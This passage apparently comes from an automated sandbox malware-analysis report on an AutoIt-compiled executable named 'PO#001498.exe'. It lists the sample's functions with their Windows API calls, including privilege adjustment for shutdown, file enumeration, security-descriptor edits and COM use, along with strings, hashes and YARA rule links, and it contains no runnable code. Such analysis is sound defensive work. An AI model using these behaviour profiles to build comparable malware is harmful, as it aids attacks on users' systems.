                                                                                                                                                                                  • Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
                                                                                                                                                                                  • Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
                                                                                                                                                                                • String ID: @GH$@GH$C:\Users\user\Desktop\PO#001498.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                                                                                                                                                                                • API String ID: 2493088469-1762792057
                                                                                                                                                                                • Opcode ID: 69cfb0be49d24e5250ef6e64c59b5ea2b0a961f7c54b5140d3e7fdea8d41d4c7
                                                                                                                                                                                • Instruction ID: f6e0ab4c143dd9a1f797559286fb6c41f0380d60009eb7dc722615656bf0e84e
                                                                                                                                                                                • Opcode Fuzzy Hash: 69cfb0be49d24e5250ef6e64c59b5ea2b0a961f7c54b5140d3e7fdea8d41d4c7
                                                                                                                                                                                • Instruction Fuzzy Hash: 0341F731618341ABD320F7A19C49BAF3BA4AB96704F04493FF941672D1DBBC9949C72E
                                                                                                                                                                                Function 004037E0 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 359COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403871
                                                                                                                                                                                • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403887
                                                                                                                                                                                • __wsplitpath.LIBCMT ref: 004038B2
                                                                                                                                                                                  • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 004038C7
                                                                                                                                                                                • _wcscat.LIBCMT ref: 004038DC
                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 004038EC
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                  • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,0040397D,?,?,00000010), ref: 00403F54
                                                                                                                                                                                  • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,00000010), ref: 00403F8B
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 004039C2
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00403A53
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00403AAA
                                                                                                                                                                                Strings
                                                                                                                                                                                • Unterminated string, xrefs: 0042B9BA
                                                                                                                                                                                • _, xrefs: 00403B48
                                                                                                                                                                                • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0042B87B
                                                                                                                                                                                • Error opening the file, xrefs: 0042B8AC
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpy$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_wcscatstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                                                                                                                                                                                • API String ID: 4115725249-188983378
                                                                                                                                                                                • Opcode ID: 03e6ea20781e53ba093b2e4e1cf17e7e885813b4a055a64ca381d3f5bd1a9c3d
                                                                                                                                                                                • Instruction ID: dca64db042171ec5605b2d10b6a92a42a2076cc25022adee7b8115af8a15fc96
                                                                                                                                                                                • Opcode Fuzzy Hash: 03e6ea20781e53ba093b2e4e1cf17e7e885813b4a055a64ca381d3f5bd1a9c3d
                                                                                                                                                                                • Instruction Fuzzy Hash: 16D1D5B15083019AD710EF65C841AEB77E8AF95308F04492FF5C563292DB78DA49C7AB
                                                                                                                                                                                Function 00434BEE Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • FindFirstFileW.KERNEL32(?,?), ref: 00434C12
                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 00434C4F
                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,?), ref: 00434C65
                                                                                                                                                                                • FindNextFileW.KERNEL32(00000000,?), ref: 00434C77
                                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 00434C88
                                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 00434C9C
                                                                                                                                                                                • FindFirstFileW.KERNEL32(*.*,?), ref: 00434CB7
                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00434CFE
                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(0048A090), ref: 00434D22
                                                                                                                                                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00434D2A
                                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 00434D35
                                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 00434D43
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                                                                                                                • String ID: *.*
                                                                                                                                                                                • API String ID: 1409584000-438819550
                                                                                                                                                                                • Opcode ID: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                                                • Instruction ID: 399dbb17912f16e5170155dcc5475d9346bc7ba5aa4a4c8a0ea4d4714b2c7a66
                                                                                                                                                                                • Opcode Fuzzy Hash: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                                                • Instruction Fuzzy Hash: 4141D8726042086BD710EF64DC45AEFB3A8AAC9311F14592FFD54C3280EB79E915C7B9
                                                                                                                                                                                Function 00444078 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94timesleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Timetime$Sleep
                                                                                                                                                                                • String ID: BUTTON
                                                                                                                                                                                • API String ID: 4176159691-3405671355
                                                                                                                                                                                • Opcode ID: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                                                                                                • Instruction ID: 32c89cc89acb3c111fc3cc5f781edb0c57d51ec263d79eeef99f8852f1a29925
                                                                                                                                                                                • Opcode Fuzzy Hash: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                                                                                                • Instruction Fuzzy Hash: CB21B7723843016BE330DB74FD4DF5A7B94A7A5B51F244876F600E6290D7A5D442876C
                                                                                                                                                                                Function 00445DD3 Relevance: 18.2, APIs: 12, Instructions: 179COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                                                                                                                                                                  • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                                                                                                                                                                  • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                                                                                                                                                                  • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                                                                                                                                                                                • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00445E4B
                                                                                                                                                                                • _memset.LIBCMT ref: 00445E61
                                                                                                                                                                                • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00445E83
                                                                                                                                                                                • GetLengthSid.ADVAPI32(?), ref: 00445E92
                                                                                                                                                                                • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 00445EDE
                                                                                                                                                                                • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00445EFB
                                                                                                                                                                                • GetLengthSid.ADVAPI32(?,?,00000018), ref: 00445F11
                                                                                                                                                                                • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00445F39
                                                                                                                                                                                • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00445F40
                                                                                                                                                                                • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 00445F6E
                                                                                                                                                                                • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00445F8B
                                                                                                                                                                                • SetUserObjectSecurity.USER32(?,?,?), ref: 00445FA0
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3490752873-0
                                                                                                                                                                                • Opcode ID: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                                                                                                • Instruction ID: 491154c1e478dcf6c9ac3cbca3c2c9e2645d4ee7bbdc2abf5fae4ada557f6fe4
                                                                                                                                                                                • Opcode Fuzzy Hash: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                                                                                                • Instruction Fuzzy Hash: 85519D71108301ABD610DF61CD84E6FB7E9AFC9B04F04491EFA869B242D778E909C76B
                                                                                                                                                                                Function 0047A999 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 288comCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • OleInitialize.OLE32(00000000), ref: 0047AA03
                                                                                                                                                                                • CLSIDFromProgID.OLE32(00000000,?), ref: 0047AA27
                                                                                                                                                                                • CoCreateInstance.OLE32(?,00000000,00000005,004829C0,?), ref: 0047AAAA
                                                                                                                                                                                • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0047AB6B
                                                                                                                                                                                • _memset.LIBCMT ref: 0047AB7C
                                                                                                                                                                                • _wcslen.LIBCMT ref: 0047AC68
                                                                                                                                                                                • _memset.LIBCMT ref: 0047ACCD
                                                                                                                                                                                • CoCreateInstanceEx.OLE32 ref: 0047AD06
                                                                                                                                                                                • CoSetProxyBlanket.OLE32(004829D0,?,?,?,?,?,?,00000800), ref: 0047AD53
                                                                                                                                                                                Strings
                                                                                                                                                                                • NULL Pointer assignment, xrefs: 0047AD84
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateInitializeInstance_memset$BlanketFromProgProxySecurity_wcslen
                                                                                                                                                                                • String ID: NULL Pointer assignment
                                                                                                                                                                                • API String ID: 1588287285-2785691316
                                                                                                                                                                                • Opcode ID: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                                                                                                • Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
                                                                                                                                                                                • Opcode Fuzzy Hash: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                                                                                                • Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66
                                                                                                                                                                                Function 004364AA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 79shutdownCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
                                                                                                                                                                                • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
                                                                                                                                                                                • AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00436504
                                                                                                                                                                                • ExitWindowsEx.USER32(?,00000000), ref: 00436527
                                                                                                                                                                                • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
                                                                                                                                                                                • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                                                                                                                                                                                • String ID: SeShutdownPrivilege
                                                                                                                                                                                • API String ID: 2938487562-3733053543
                                                                                                                                                                                • Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                                                • Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
                                                                                                                                                                                • Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                                                • Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D
                                                                                                                                                                                Function 0043614F Relevance: 16.6, APIs: 11, Instructions: 103COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • __swprintf.LIBCMT ref: 00436162
                                                                                                                                                                                • __swprintf.LIBCMT ref: 00436176
                                                                                                                                                                                  • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00436185
                                                                                                                                                                                • FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
                                                                                                                                                                                • LoadResource.KERNEL32(?,00000000), ref: 004361AE
                                                                                                                                                                                • LockResource.KERNEL32(00000000), ref: 004361B5
                                                                                                                                                                                • FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
                                                                                                                                                                                • LoadResource.KERNEL32(?,00000000), ref: 004361E4
                                                                                                                                                                                • SizeofResource.KERNEL32(?,00000000), ref: 004361F0
                                                                                                                                                                                • LockResource.KERNEL32(?), ref: 004361FD
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2406429042-0
                                                                                                                                                                                • Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                                                • Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
                                                                                                                                                                                • Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                                                • Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68
                                                                                                                                                                                Function 0045D517 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 91COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 0045D522
                                                                                                                                                                                • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D593
                                                                                                                                                                                • GetLastError.KERNEL32 ref: 0045D59D
                                                                                                                                                                                • SetErrorMode.KERNEL32(?), ref: 0045D629
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Error$Mode$DiskFreeLastSpace
                                                                                                                                                                                • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                                                                                                                                • API String ID: 4194297153-14809454
                                                                                                                                                                                • Opcode ID: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                                                                                                • Instruction ID: 49a1caac5541b587bc648ef7caa6256b54369420b38b3993b587487a6931f65b
                                                                                                                                                                                • Opcode Fuzzy Hash: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                                                                                                • Instruction Fuzzy Hash: BA31AD75A083009FC310EF55D98090BB7E1AF89315F448D6FF94997362D778E9068B6A
                                                                                                                                                                                Function 0047AD92 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251comCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 0047AF0F
                                                                                                                                                                                  • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                • OleInitialize.OLE32(00000000), ref: 0047AE06
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                • _wcslen.LIBCMT ref: 0047AE18
                                                                                                                                                                                • CreateBindCtx.OLE32(00000000,?), ref: 0047AEC2
                                                                                                                                                                                • CLSIDFromProgID.OLE32(00000000,?,?), ref: 0047AFCC
                                                                                                                                                                                • GetActiveObject.OLEAUT32(?,00000000,?), ref: 0047AFF9
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CopyVariant$_wcslen$ActiveBindCreateDisplayErrorFromInitializeLastNameObjectParseProg_wcscpy
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 1915432386-2761332787
                                                                                                                                                                                • Opcode ID: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                                                                                                • Instruction ID: 7e3b4e38c6064d991530b19baaff212313fd3e9d55f264e0ba959e8ba912c45c
                                                                                                                                                                                • Opcode Fuzzy Hash: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                                                                                                • Instruction Fuzzy Hash: 6C915C71604301ABD710EB65CC85F9BB3E8AFC8714F10892EF64597291EB78E909CB5A
                                                                                                                                                                                Function 0044ED9A Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 448COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID: DEFINE$`$h$h
                                                                                                                                                                                • API String ID: 0-4194577831
                                                                                                                                                                                • Opcode ID: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
